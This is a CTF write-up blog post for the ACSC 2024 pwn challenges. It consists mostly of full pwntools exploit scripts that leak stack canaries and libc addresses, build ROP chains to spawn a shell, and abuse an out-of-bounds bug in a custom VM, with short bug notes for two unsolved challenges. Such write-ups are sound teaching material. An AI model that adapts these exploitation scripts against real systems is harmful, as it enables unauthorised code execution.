ACSC CTF 2024 Writeups

Pwn

rot13 (100 pts / 86 solved) (solved)

bug: char is signed int8_t.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def exploit() -> bool:
    with conn() as io:
        canary = leak(io, 0x18)
        info(f"{canary = :x}")

        libc.address = leak(io, 0x68) - libc.sym._IO_2_1_stdout_
        info(f"{libc.address = :x}")

        rop = ROP(libc)

        payload = flat(
            {
                0x108: [
                    canary,
                    libc.bss() + 0x50,
                    rop.rdi.address,
                    next(libc.search(b"sh\0")),
                    rop.rdi.address + 1,
                    libc.sym.system,
                ]
            }
        )
        io.recvuntil(b": ")
        io.sendline(payload)

fleeda (200 pts / 23 solved) (solved)

  • buffer overflow / no canary
  • jump to syscall in rwx
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
def exploit() -> bool:
    with conn() as io:
        buf = 0x0404800
        pop_rbx = 0x0401091
        mov_rdi_rbx_puts = 0x0401083

        payload = flat(
            {
                0x10: [
                    0,  # rbx
                    pop_rbx,
                    exe.got.puts,
                    mov_rdi_rbx_puts,
                    0,  # pad
                    0,  # pad
                    0,  # rbx
                    exe.sym.main,
                ]
            }
        )
        io.send(payload[:0x10])
        # if HOST == "localhost":
        #     while True:
        #         context = io.recvline().decode()
        #         if "syscall" not in context:
        #             break
        #     print(context)
        #     pause()

        io.sendline(payload[0x10:])

        # if HOST == "localhost":
        #     io.recvline()

        io.recvline()
        leak = uu64(io.recvline().strip())
        libc.address = leak - libc.sym.puts
        info(f"{libc.address = :x}")

        # 0x0000000000011a18: mov rax, r12; pop r12; ret;
        mov_rax_r12_pop_r12 = libc.address + 0x29000 + 0x11A18
        # 0x000000000000c731: pop r12; ret;
        pop_r12 = libc.address + 0x29000 + 0xC731
        # 0x0000000000002e51: pop rsi; ret;
        pop_rsi = libc.address + 0x29000 + 0x2E51
        # 0x00000000000013e5: pop rdi; ret;
        pop_rdi = libc.address + 0x29000 + 0x13E5
        # 0x0000000000000db4: syscall;
        syscall = libc.address + 0x29000 + 0x0DB4
        # 0x000000000004a4a9: pop rdx; pop rbx; ret;
        pop_rdx_rbx = libc.address + 0x46000 + 0x4A4A9
        sh_str = libc.address + 0x1D8678

        payload = flat(
            {
                0x10: [
                    0,  # rbx
                    pop_rdi,
                    libc.sym.environ,
                    libc.sym.puts,
                    exe.sym.main,
                ],
            }
        )
        io.sendline(payload)

        io.recvline()
        leak = uu64(io.recvline().strip())
        stack_addr = leak - 0x10C8
        info(f"{stack_addr = :x}")

        payload = flat(
            {
                0x10: [
                    0,  # rbx
                    pop_rdi,
                    stack_addr + 0xE8,
                    libc.sym.puts,
                    exe.sym.main,
                ],
            }
        )
        io.sendline(payload)

        io.recvline()
        leak = uu64(io.recvline().strip())
        frida_agent = leak - 0x2270C6
        info(f"{frida_agent = :x}")

        rwx_addr = stack_addr - 0x13B0
        info(f"{rwx_addr = :x}")

        payload = flat(
            {
                0x10: [
                    0,  # rbx
                    pop_rdi,
                    rwx_addr,
                    libc.sym.puts,
                    exe.sym.main,
                ],
            }
        )
        io.sendline(payload)

        io.recvline()
        leak = uu64(io.recvline().strip())
        rwx = leak - 0x68
        info(f"{rwx = :x}")
        rwx_syscall = rwx + 0x6011
        info(f"{rwx_syscall = :x}")

        pause()

        payload = flat(
            {
                0x10: [
                    0,  # rbx
                    pop_rdi,
                    sh_str,
                    pop_r12,
                    0x3B,
                    mov_rax_r12_pop_r12,
                    0,
                    pop_rsi,
                    0,
                    pop_rdx_rbx,
                    0,
                    0,
                    rwx_syscall,
                ],
            }
        )
        assert len(payload) < 200
        io.sendline(payload)

        io.interactive()
    return True

Contextual (500 pts / solved) (upsolved)

  • bug: shr when range is negative
  • OOB -> rop
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
rop = ROP(libc)

code = f"""
    jmp start

write:
    load    r0, 1
    load    r1, 1
    load    r2, 0x2000
    load    r3, 0x1000
    syscall
    return

range01_0:
    push    <8> 0
    pop     <8> r0
    load    r1, 63
    shr     r0, r1
    return

range01_1:
    push    <8> 0x8000000000000000
    pop     <8> r0
    load    r1, 63
    shr     r0, r1
    return

s1:
    mov     r0, r11

    load    r1, 0
    sub     r1, r0
    load    r2, 0xff
    mul     r1, r2

    mov     r6, r1

    mov     r0, r10

    load    r2, 1
    mul     r0, r2
    shr     r6, r0
    load    r2, 0xffffffffffff
    div     r6, r2
    load    r2, 0x8000
    div     r6, r2

    load    r2, 1
    add     r6, r2

    mov     r12, r6

    mov     r0, r10
    load    r2, 2
    mul     r0, r2
    load    r2, 0
    sub     r2, r0
    add     r6, r2

    // r6: [0,1] -> 3

    load    r2, 1
    add     r6, r2
    load    r2, 2
    div     r6, r2

    // r6: [0,1] -> 2

    return

s2: // leak [r0]
    mov     r3, r0
    mov     r0, r12
    load    r1, 0xfffffffffffffffe
    mul     r0, r1
    load    r1, 1
    add     r0, r1
    load    r1, 0x30
    mov     r2, r10
    mul     r2, r1
    add     r0, r2
    div     r3, r0

    load    <8> r0, [r3]

    return

s3: // [r0] = r1
    push    <8> r1

    mov     r3, r0
    mov     r0, r12
    load    r1, 0xfffffffffffffffe
    mul     r0, r1
    load    r1, 1
    add     r0, r1
    load    r1, 0x30
    mov     r2, r10
    mul     r2, r1
    add     r0, r2
    div     r3, r0

    pop     <8> r1
    store   <8> [r3], r1

    return

start:
    // range 01 -> 0
    push    <8> 0
    pop     <8> r0
    load    r1, 63
    shr     r0, r1
    mov     r10, r0

    // range 01 -> 1
    push    <8> 0x8000000000000000
    pop     <8> r0
    load    r1, 63
    shr     r0, r1
    mov     r11, r0

    call    s1 // r6: [0,1] -> 2

    load    r0, 3
    sub     r0, r12
    mov     r12, r0
    load    r0, 2
    add     r12, r0
    load    r0, 2
    div     r12, r0
    load    r0, 1
    sub     r12, r0
    // r12 -> [1,0] -> 0

    load    r0, 0x60c4
    call    s2

    mov     r9, r0
    load    r1, 0x29d90
    sub     r9, r1 // base

    load    r0, 0x60c4
    load    r1, {rop.rdi.address} // pop rdi
    add     r1, r9
    call    s3

    load    r0, 0x60cc
    load    r1, {libc.sym.sh} // sh
    add     r1, r9
    call    s3

    load    r0, 0x60d4
    load    r1, {rop.rdi.address+1} // ret
    add     r1, r9
    call    s3

    load    r0, 0x60dc
    load    r1, {libc.sym.system} // system 
    add     r1, r9
    call    s3

    exit
"""
bcode = aasm(code)
print(bcode)
# interpret(bcode)


def exploit() -> bool:
    with conn() as io:
        #  pause()

        io.recvuntil(b" : ")
        io.sendline(str(len(bcode)).encode())
        io.recvuntil(b" : ")
        io.sendline(bcode)

        # while True:
        #     io.recvline()

        io.interactive()

        io.clean(1)
        io.sendline(b"cat /home/`whoami`/flag*")
        flag = io.recvuntil(b"}").strip().decode()
        success(flag)

        return True

life_simulator (350 pts / 3 solved) (TODO)

  • bug: missing () in pos_neg_zero macro
    • bypassfuture_*_pos in check_lifeform
    • overflow position

Shogi (350 pts / 1 solved) (TODO)

  • bug: MAX_PER_TYPE == 19
    • promote piece -> overflow
Built with Hugo
Theme Stack designed by Jimmy